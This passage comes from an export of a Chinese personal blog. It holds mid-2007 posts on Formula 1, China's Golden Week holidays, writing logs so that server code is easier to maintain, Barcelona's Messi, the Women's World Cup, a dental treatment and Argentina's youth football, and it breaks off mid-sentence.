得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/10/24/recommend-yahoo-shoucang/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"推荐雅虎收藏"},{"content":"2007年F1大奖赛全年的比赛在巴西落下帷幕，冰人莱科宁以全年6站冠军的成绩出人意料的逆转之前一直雄踞车手积分榜榜首的汉密尔顿夺取本年度F1车手总冠军，这也是莱科宁职业生涯的第一个世界冠军。\n看完比赛，汉迷们不由得为汉密尔顿惋惜，汉有太多的机会拿下本年的世界冠军了，中国大奖赛本就可以提前夺冠的，即便中国站失守，只要最后一站排在莱科宁和阿隆索前面也一样可以夺冠，可运气偏偏不在这位英国黑小伙身上。即中国赛退赛后，在 巴西站他又遭遇赛车故障打击，结果最终获得第七，而与冠军失之交臂，按照中国古语就是\u0026quot;煮熟的鸭子飞了\u0026quot;，也真是让人窝火。回顾整个赛季，汉的积分曲线真就如媒体所言-虎头蛇尾，而莱科宁与之恰恰相反-破釜沉舟，而且运气也开始眷顾上半年表现一直走背运的莱科宁了。这位被前车王舒马赫钦点的接班人没有辜负车王的期望，有始有终，在第一站夺取澳大利亚大奖赛后，在最后一站又拿到巴西站的冠军，即而拿到总冠军，从数据分析，莱科宁也是实至名归的。\n汉密尔顿为年轻付出了代价，也许这就是F1，车王舒马赫初入F1时不也是拼搏了很多年才有所成就的么，也许这次失败对汉来说更有长远意义。\n","permalink":"https://tonybai.com/2007/10/22/finally-raikkonen-win-hamilton-fail/","summary":"\u003cp\u003e2007年F1大奖赛全年的比赛在巴西落下帷幕，冰人莱科宁以全年6站冠军的成绩出人意料的逆转之前一直雄踞车手积分榜榜首的汉密尔顿夺取本年度F1车手总冠军，这也是莱科宁职业生涯的第一个世界冠军。\u003c/p\u003e","title":"冰人笑到最后，汉密尔顿虎头蛇尾"},{"content":"昨日是十一黄金周之后的第一个工作日，也就是在昨天看到网上消息说，国家相关部门正在考虑调整所谓的黄金周休假方案。已经记不清楚黄金周这样的休假制度施行了多少个春秋了，隐约记得刚刚出台黄金周制度的时候，当时还是很兴奋的，因为毕竟是当时是学生，对于一下连休7天甚至更多感到很是兴奋，不过现在面对黄金周我实在是兴奋不起来，因为深深感到黄金周给自己和周围的人带来的’痛苦’。\n中国在未改革公民休假制度之前，那时国人还是休小礼拜，后来改成大小礼拜轮休，最后改成目前的8小时工作制，每周都是大礼拜。即使这样中国人的平均工作时数在世界范围来讲还是蛮高的，人们的休息时间较少。国家最初出台黄金周政策我想一是考虑到拉动经济快速增长；二是同时给国人一段较长时间的放松时间。前者的目的达到了，黄金周的经济拉动作用不可小视，但是其弊端也许是当初决策者估计不足的。而第\n二个目的真的达到了么？值得商榷。\n黄金周是给大家回家探亲准备了充足的时间，但是大家回家真的是那么容易么？\n现在人们一提到黄金周，想的也许不是如何休息，而是如何买车票、船票和飞机票。毕竟在拥有13亿人口的泱泱大国，国民集中一个时段迁移给交通运输业带来的压力之大可想而知。本来想做飞机的，却买不到机票，只能做长途火车；想做硬卧的，却只能买到坐票；那些买不到火车票的，只能去买高价且不舒适的汽车票，更有甚者还有那些根本买不到合适票的人。同样这样的情况助长了’黄牛党’一族的快速增长。一票难求的情况估计只要黄金周的存在就难以根治。这里还要重申的是：中国不仅仅只有一个十一黄金周，还有春节黄金周、五一黄金周。三个黄金周，三次人口大迁移。辛苦的，或者说痛苦的是老百姓啊。\n黄金周是给大家出游准备了充足的时间，但是大家都玩好了么？\n记得去年黄金周过后，一幅照片让我震惊，在天安门前的金水桥上满满登登的都是人，如果不是前人将金水桥造的结实，我还真是担心这座桥会被压踏。毕竟前人不会想到今天会有如此多的人站在这座桥上。今年黄金周之后大家在电视、报纸、网络媒体上看到的也是各个景区人满为患、票价上涨、服务质量急剧下降的报导，故宫游览人数超出最大接待量的2倍，八达岭长城又’下了饺子’，九寨沟更是采用了限时入景区的策\n略。尽管国家加大了景点和文物的保护力度，但是你不得不承认在如此大的游览人数面前这些保护规定显得那么脆弱，这不是治本的方法。\n黄金周出台有其历史原因，但随着中国经济的发展，人们发现其带来的弊端日益严重，到了急需改革的阶段了。我个人希望取消五一、十一这两个黄金周，但是要延长春节的假期，毕竟春节这个黄金周是无论如何不该取消的。还有一条就是总的休假时间是不能减少的，如果新方案不能保证这一点，那就是倒退了。\n","permalink":"https://tonybai.com/2007/10/09/the-criticism-on-golden-week/","summary":"\u003cp\u003e昨日是十一黄金周之后的第一个工作日，也就是在昨天看到网上消息说，国家相关部门正在考虑调整所谓的黄金周休假方案。已经记不清楚黄金周这样的休假制度施行了多少个春秋了，隐约记得刚刚出台黄金周制度的时候，当时还是很兴奋的，因为毕竟是当时是学生，对于一下连休7天甚至更多感到很是兴奋，不过现在面对黄金周我实在是兴奋不起来，因为深深感到黄金周给自己和周围的人带来的’痛苦’。\u003c/p\u003e","title":"口诛笔伐'黄金周'"},{"content":"毕业后就一直从事于服务器端程序的开发，主要客户是中国移动，大家知道移动的产品都是电信级的，稍出差错后果都是严重的，所以在我们平时的工作中除了研发之外，还有的就是对我们卖给移动的产品的维护性工作，而这种维护性工作要求就是要\u0026quot;迅速解决现场的问题\u0026quot;。这几个月维护工作占据了我很大一部分精力，说实话，有些烦了，但是从另外一个角度来看，也说明了我们的产品在维护性方面做的不够好，否则移动的工作人员或当地的技术支持人员通过手册或者查看系统日志的方式就可以解决问题的。这让我反思。\n一般来说，我们的产品在交付时都是有详尽的用户手册的，现场人员可以根据维护手册来查找问题所在。另外维护工作也是分层次的，在运行我们产品的各省移动公司都有我们的当地技术支持人员，而移动自己的网管人员在多年的维护过程中也逐渐的积累了丰富的问题解决经验。一般问题发生后，移动的人员都会试着自己来尝试解决，当其无法解决时，会将问题告诉当地的技术支持人员，只有在技术支持人员也解决不了问题的时候，问题才会反馈给我们研发人员，而研发人员就成为了系统的最后一道保护伞了。移动人员的素质我们自然控制不了，我方技术人员我们会尽可能的通过培训和讲解的方式传授解决问题的办法，并通过他们自己在维护过程中积累经验，但是一旦问题提交给研发人员，我们就需要在远程以最快的时间将问题解决。\n研发人员一般来说对业务熟悉，对功能是如何实现也有把握，但是一个系统往往是很庞大的，很可能是经过\u0026quot;几代人\u0026quot;前离后继\u0026quot;(前人离职了，后人来继承)完成的，所以到最后很可能整个产品组内没有一个人对整个系统的每个角落都了如指掌的，这时问题就出现了。\n对于研发人员来说，他们最擅长的就是通过问题现象去到代码里分析，现场产品因为在运行，一般来说我们不可能去用调试工具直接调试现场运行的程序的。而问题的现象一般是通过系统日志体现出来的；也就是说在研发人员解决问题这层，系统的运行日志对解决问题起着至关重要的作用。这样一来系统日志设计的好坏直接会影响到你解决问题的效率和质量。\n而通过日志定位问题所在的代码位置一般有如下几个现象：\n[现象一] 当你用某一个错误日志去search in project的时候，居然发现：\nif (condition1 | condition2 | condition3)\n你查询的日志输出;\n输出该日志的条件是多个或的关系，而且每个condition也许是一个复杂的函数调用，这会大大延长你跟踪问题的时间；\n解决方法：\na) 尽量减少condition1 | condition2 | condition3的使用；\nb) 对于复杂和关键地方的处理，给出\u0026quot;点睛\u0026quot;的注释；\n[现象二] 当你用某一个错误日志去search in project的时候，居然发现：\nProject中存在不止一条这样的错误日志，其位置可能分布在Project的不同源文件中的不同位置。这同样会大大延长你跟踪问题的时间和难度。\n解决方法：\n我们套用\u0026quot;幸福的家庭往往是相同的,不幸的家庭各有各的不幸\u0026quot;来说明：成功的日志往往格式相同，失败的日志各有各的特征。如果每条错误日志的特点都不相同，那么当我们search的时候，就可以一次定位问题所在了。\n[现象三] 当你用某一个错误日志去search in project的时候，居然发现：\n该日志是在一个宏的定义中输出的，而该宏散布在Project的各个角落。\n解决方法：\n不要在宏(广泛使用的宏)中做任何日志输出。\n当然上述的某些解决方法可能与代码的可读性或者精炼性有悖，这就要看你是如何抉择的了，根据具体情况三思而后行。\n另外对于查找问题而言，关键而详尽的注释会给研发人员带来很大帮助，否则他就很可能陷入复杂的业务逻辑中，长时间不能自拔了。\n以上一点私人见解，仅供参考。\n","permalink":"https://tonybai.com/2007/09/30/thoughts-on-how-to-make-code-more-maintainable/","summary":"\u003cp\u003e毕业后就一直从事于服务器端程序的开发，主要客户是中国移动，大家知道移动的产品都是电信级的，稍出差错后果都是严重的，所以在我们平时的工作中除了研发之外，还有的就是对我们卖给移动的产品的维护性工作，而这种维护性工作要求就是要\u0026quot;迅速解决现场的问题\u0026quot;。这几个月维护工作占据了我很大一部分精力，说实话，有些烦了，但是从另外一个角度来看，也说明了我们的产品在维护性方面做的不够好，否则移动的工作人员或当地的技术支持人员通过手册或者查看系统日志的方式就可以解决问题的。这让我反思。\u003c/p\u003e","title":"浅谈如何编码使程序更易维护"},{"content":"关心足球的球迷都会及早得到这条消息，在今天凌晨举行的西甲联赛第6轮的一场比赛中，豪门巴塞罗那以4:1狂扫弱旅莱万特队，也许本场比赛中上演了帽子戏法的亨利更吸引人的眼球，但是回顾这阶段巴萨参加的1场欧冠，两场联赛，你会发现在混世魔王小罗缺阵的情况下，另一位诺坎普新国王诞生了。\n巴萨今年联赛的阵容，可谓是欧洲最豪华，其前场的超级进攻阵容真是用什么辞藻表达都不过分。但是事情却往往不像人们看到的那样一番风顺，巴萨在联赛前三场的表现可谓一般，一胜两平落后皇马4分。这时候小罗被冷藏了，梅西站了出来，在国家队和俱乐部队都是核心的梅西在因国际比赛劳累后复出了。梅西在球场上真是好比巴萨的一柄手术刀，在对方球队的\u0026quot;身体\u0026quot;上任意划切，势不可挡。从第四轮联赛开始到今天的第六轮联赛，梅西分别贡献了2球、2球、一球，更值得欣喜的是本轮梅西除了一个漂亮的进球外，还给亨利送上了两次助攻，可以说梅西正日渐成熟，也逐渐加强了其前场的进攻组织能力。这里还不得不提到的就是上一场巴萨主场对里昂的欧冠联赛小组赛，正式因为梅西的全场闪光巴萨才顺利以3:0击败对手取得开门红。目前的梅西也许最大的敌人就是自己，只要合理分配体力，保护自己免受伤病之扰，梅西必将成为未来诺坎普之新一代国王，而且是最年轻的国王。\n","permalink":"https://tonybai.com/2007/09/30/3-matches-establish-new-king-of-barca/","summary":"\u003cp\u003e关心足球的球迷都会及早得到这条消息，在今天凌晨举行的西甲联赛第6轮的一场比赛中，豪门巴塞罗那以4:1狂扫弱旅莱万特队，也许本场比赛中上演了帽子戏法的亨利更吸引人的眼球，但是回顾这阶段巴萨参加的1场欧冠，两场联赛，你会发现在混世魔王小罗缺阵的情况下，另一位诺坎普新国王诞生了。\u003c/p\u003e","title":"三场比赛确立诺坎普新国王"},{"content":"相信很多人看了昨晚的女足vs.巴西的比赛，比赛输了固然让国人伤心，但是我们又不得不承认我们的实力照比巴西女足已经差了一个档次，下一步要做的就是虚心学习，努力提高了。\n从昨晚的比赛来看，女足除了在某几个时刻有某几个人闪亮那么一下之外，整场比赛都在巴西人的节奏控制之下。无论是个人能力还是整体攻防女足都是彻头彻尾的输了。巴西人展现出来巴西男足般华丽的脚法与意识，这是场上中国女足都没法相比的，而且可以看得出来，差距已经不小了。这些年来，女足不仅在世界上成为二流，就是在亚洲，在澳大利亚、日本、韩国逐渐崛起的情况下，中国女足也已经有些力不从心了。本届世界杯日本女足表现出来的战斗力不禁让我们想到日本男足，日本为了其国家足球振兴制订了百年足球复兴计划，百年啊！不光是计划，日本人将具体措施落实的很好，在日本学校里足球培训体制健全，训练规范。经过近10年的发展，日本女足从去年开始逐渐开始有所收获。日本人的这种魄力和方式真是值得我们中国足协好好反思和学习。说实话，亚洲人在足球天赋上来讲的确要比欧美人种有差距，这才需要我们通过细致计划、系统训练并通过整体的提高来与足球强国抗衡；99年的那届老女足有那么好的战绩，一是因为那帮队员的确个人能力出众，整体能力强；二也是因为当时的各国女足刚刚起步不久，传统的足球强国女足正在复兴中。从本届女足各国的表现来看，传统的一些足球强国的女足队伍已经开始赶超了。\n女足输了，肯定有人会骂足协；这种骂声已经持续了n多年了，中国足球要么从这些骂声中崛起，要么就继续沉沦下去。足球水平的提高是需要一代一代人的努力啊。如果足协不好好规划，还是那么急功近利的话，那只能让中国足球复兴的日子更加遥远了。\n","permalink":"https://tonybai.com/2007/09/16/national-women-football-team-need-time-to-rebirth/","summary":"\u003cp\u003e相信很多人看了昨晚的女足vs.巴西的比赛，比赛输了固然让国人伤心，但是我们又不得不承认我们的实力照比巴西女足已经差了一个档次，下一步要做的就是虚心学习，努力提高了。\u003c/p\u003e","title":"整体实力差距太大，女足复兴需来日"},{"content":"被分在D组的中国女足今晚终于亮相了，迎战小组第一个对手-丹麦队，从世界排名看，丹麦世界第六，女足排在第十一位，但是按照央视解说员的说法：排名并不完全说明实力，而且从历史战绩来看，中国队占有优势；而且女足在武汉这个地方还从未有过败绩，就在这种略有些自我安慰的状态下，女足开始了自己的2007世界杯之旅。\n中国的球迷依旧那么热情的支持着中国女足，偌大一个体育场除了狂热的球迷，已无落脚之地，球迷们准备的巨大的国旗以及震耳欲聋的呐喊助威声，相信让所有在电视机前收看比赛的国人都很振奋。\n开场后，第一次进攻由丹麦队发起，球在左路被中国球员断下后，你来我往的比赛渐入家境。比赛刚开始阶段双方都未完全进入状态，失误较多，中国队相继获得很多定位球机会；终于在第20分钟时由李洁罚入一记定位球；之后双方攻守平分秋色。下半时易边后，中国队首先给对手一个下马威，毕研在运动中一记漂亮的远射让丹麦门将只能网球兴叹；不过随即丹麦队缓过神儿来，对中国队的阵地实施了疯狂的反扑，反扑立马见了成效，丹麦队一记头球将比分追回一些。在比赛将近尾声时中国龙门再次失守，丹麦扳平了比分；但是中国女足并没有放弃，就在最后时刻国足由下半程被主教练多曼斯基换上场的宋晓丽打入致胜一球，中国队迎来了本次世界杯的首场胜利，达到了初步目标。\n但是纵观正常比赛，中国队似乎并未展示出来足够让人信服的夺冠实力，从控球时间上看中国还以5个百分点的差距而处于劣势，在主场优势下对手又是实力一般的丹麦，中国队取胜尚如此艰难；这要是遇到美国队、德国队以及我们的克星朝鲜队，我们又有什么战胜对手的资本呢。其实整场比赛我看的时间加在一起不过20分钟，这是因为场面上中国队没有压倒对手的表现，这与我在99年看到的那支女足的差距是明显的，老女足在技术控球上真是现在女足所不能比的，如果说支持女足，那是出于中国人的一种爱国精神，但是如实来说，中国女足能走多远相信大家心里都有数，只能希望好运气能一直站在女足这边。\n","permalink":"https://tonybai.com/2007/09/12/do-not-expect-too-high-to-national-women-soccer-team/","summary":"\u003cp\u003e被分在D组的中国女足今晚终于亮相了，迎战小组第一个对手-丹麦队，从世界排名看，丹麦世界第六，女足排在第十一位，但是按照央视解说员的说法：排名并不完全说明实力，而且从历史战绩来看，中国队占有优势；而且女足在武汉这个地方还从未有过败绩，就在这种略有些自我安慰的状态下，女足开始了自己的2007世界杯之旅。\u003c/p\u003e","title":"女足今亮相，期望莫太高"},{"content":"今晚2007年女足世界杯开幕了，开幕式继承了足球世界杯开幕式一贯简短的风格，当孙雯将\u0026quot;圣球\u0026quot;放到杯架上后，开幕式随即进入高潮。\n由于世界杯规则改变，开幕式比赛将由上届世界杯的冠军德国队与另一个南美队伍阿根廷队之间进行，作为东道主的中国队失去了首演的资格。德国队在当今女足可以说技术身体都占有优势，比赛也就按照德国队的节奏进行。\n不出意料，上半场前24分钟，德国四次破门，其中一次因越位而无效，但是出人意料的是本届世界杯第一粒入球的进球方式：德国人发角球，阿根廷门将出击，意图将球双拳击出，但是意想不到的是球非但没有被向前击出，反倒向后飞向球门，门将无奈的看着足球飞入网内。\n从场上情况看，德国队实力明显高于阿根廷队，而且德国人表现得比上次世界杯更加成熟，由此看来中国队想在本土有所作为的希望比较渺茫，中国队可以说目前状态并不是最好，马晓旭在于奥默队过的那么郁闷，势必会影响其状态。中国队目前只能一步一步来了，可以模仿一下德国主教练的计划，先赢得首场比赛的胜利，再争取从小组出现，至于淘汰赛就看命运了。\n希望中国姑娘们能有好运气。\n补：本场比赛的最终结果以德国队11:0血洗阿根廷队结束，德国女足战车轰隆隆的启动了！\n","permalink":"https://tonybai.com/2007/09/10/first-goal-of-the-women-football-worldcup/","summary":"\u003cp\u003e今晚2007年女足世界杯开幕了，开幕式继承了足球世界杯开幕式一贯简短的风格，当孙雯将\u0026quot;圣球\u0026quot;放到杯架上后，开幕式随即进入高潮。\u003c/p\u003e","title":"门将乌龙-2007女足世界杯之首粒入球"},{"content":"打开我的blog首页突然感觉到自己已经好久没有更新blog了，最近事情太多，有公司的也有个人的，这不自己的牙最近出了些问题，让我百受煎熬，无奈之下来到牙科医院，开始自己的治牙历程。\n其实牙疼源于8月15日的那个周三，晚上与GF逛街回来，甚是口渴，遂从冰箱中取出冰镇西瓜，大吃特吃起来，吃完才发觉那颗问题牙开始疼了，以前偶尔疼一次也就多说2个小时，可这次真是要了我的小命了，整整一宿也没让我消停。第二天勉强吃了些止痛药上了班，即使吃了像芬必得这样的止痛药，镇痛仍然不时传来，无奈下我口里一直含着一口水，这样感觉舒服多了，就这样我每天能喝下近10杯500毫升的水，频繁上卫生间已经是不争的事情了。\n其实我一直有一种奢望，那就是突然我的牙不疼了。可是我的愿望一直没有实现，牙痛在稳定一天后向着严重趋势发展。终于熬到周五，我毫不犹豫的坐上了去牙病医院的出租车。到目前为止我只有一次堵牙的经历，那次是一个位退休的老牙科大夫给我堵的牙，那骇人的牙钻让我有了第一次\u0026quot;恐怖\u0026quot;的治牙经历，自那以后我对治牙就有着心理上的恐惧了，这也算是我迟迟不愿去医院看牙的原因之一吧。\n我首先来到的是中国医科大学牙病医院，应该是沈城最好的牙科了。挂号、排号、给牙照相，一位年轻的女医生对我说我的牙需要做根管治疗，然后套上牙冠，因为我的那颗坏牙后部有轻微裂痕。医生说完病情又和我说明了价格，不包括牙冠，治疗这一颗牙大约要1000元，当时我很惊讶，因为不了解行情，我没有马上治疗。附近有一家沈阳市和平区牙病防治医院，在GF的陪同下，我勇敢的走入医院，经医生检查，做出了同样的治疗方案，但是收费却要比医大医院便宜的多，按他的说法医大牙科是省物价特批的价格，所以贵的要死。在GF的劝说下，我接受了医生的方案。治疗之前我再次和医生确认是否打麻药，治疗过程持续时间，是否有剧烈疼痛，医生一一做了回答。我遂放下心来安心治牙。果真如医生所说，整个过程没有感受到一丝疼痛，就是那嗡嗡作响的牙钻让人还是感觉到了一丝恐惧。\n本周二第二次来换药，由于我的牙根管有一个很细很难找到，医生先给我下了扩大剂然后待一周后再治疗，当然在清除根管内残余神经时偶尔会有一丝疼痛，不过都可以忽略不计。\n这段时间真是让我感受到了\u0026quot;牙疼不算病，疼起来真要命\u0026quot;这句话的含义了，保护好牙齿是多么重要啊，建议那些还没有发现牙病的人们好好保护牙齿吧。免得受罪啊:)\n","permalink":"https://tonybai.com/2007/08/23/dental-treatment-note/","summary":"\u003cp\u003e打开我的blog首页突然感觉到自己已经好久没有更新blog了，最近事情太多，有公司的也有个人的，这不自己的牙最近出了些问题，让我百受煎熬，无奈之下来到牙科医院，开始自己的治牙历程。\u003c/p\u003e","title":"治牙记"},{"content":"在刚刚结束的世界青年足球U20锦标赛中，以阿圭罗和莫拉雷斯为代表的阿根廷队蝉联冠军，这是阿根廷在最近的7届U20赛事中的第5次夺冠了。阿根廷的主力10号阿圭罗同时获得最佳球员和最佳射手的称号，这是既上届荷兰世青赛U20梅西之后又一位包揽金球奖和金靴奖的冠军10号成员了。这两年阿根廷出了太多才华横溢的球员，梅西、特维斯、阿圭罗等，他们都被比作球王马拉多纳的接班人。我也顺便在网络上搜索了一下，原来在28年以前的第二届日本世青赛上，正是当时19岁的马拉多纳的精彩表现，让阿根廷队拿到冠军，马拉多纳也成为了当时的最佳球员，可以说是马拉多纳开创了\u0026rsquo;世青赛\u0026rsquo;巨星之路的先河，在马拉多纳之后，诸如范·巴斯滕、菲戈、劳尔、亨利等球星也是从世青赛脱颖而出的，当然近两年阿根廷的新星就更不用提了。\n近两年阿根廷出了一批马拉多纳似的小个子核心球员，他们技术一流，都具备在各自球队中独挑大梁的任务，如梅西、特维斯等。阿根廷队造星的效率之高的也让世界诸强羡慕不已。我想这是得益于阿根廷良好的青少年足球培养，比如阿圭罗就是从阿根廷独立俱乐部第8级梯队一直踢到一线队的，当然阿根廷人独特的踢球天赋也是不可磨灭的。\n比较遗憾的是今年的美洲杯足球赛上，众星云集的阿根廷队居然在决赛中痛痛快快的被巴西二队3:0拿下，看来如何用好这些巨星才是阿根廷对势待解决的问题。在这批小个子球员之间，能够真正继承球王马拉多纳衣钵的唯一标准就是：他要带领阿根廷拿到世界足球的最高荣誉-大力神杯。自从90年马拉多纳带领的阿根廷队在世界杯决赛负于德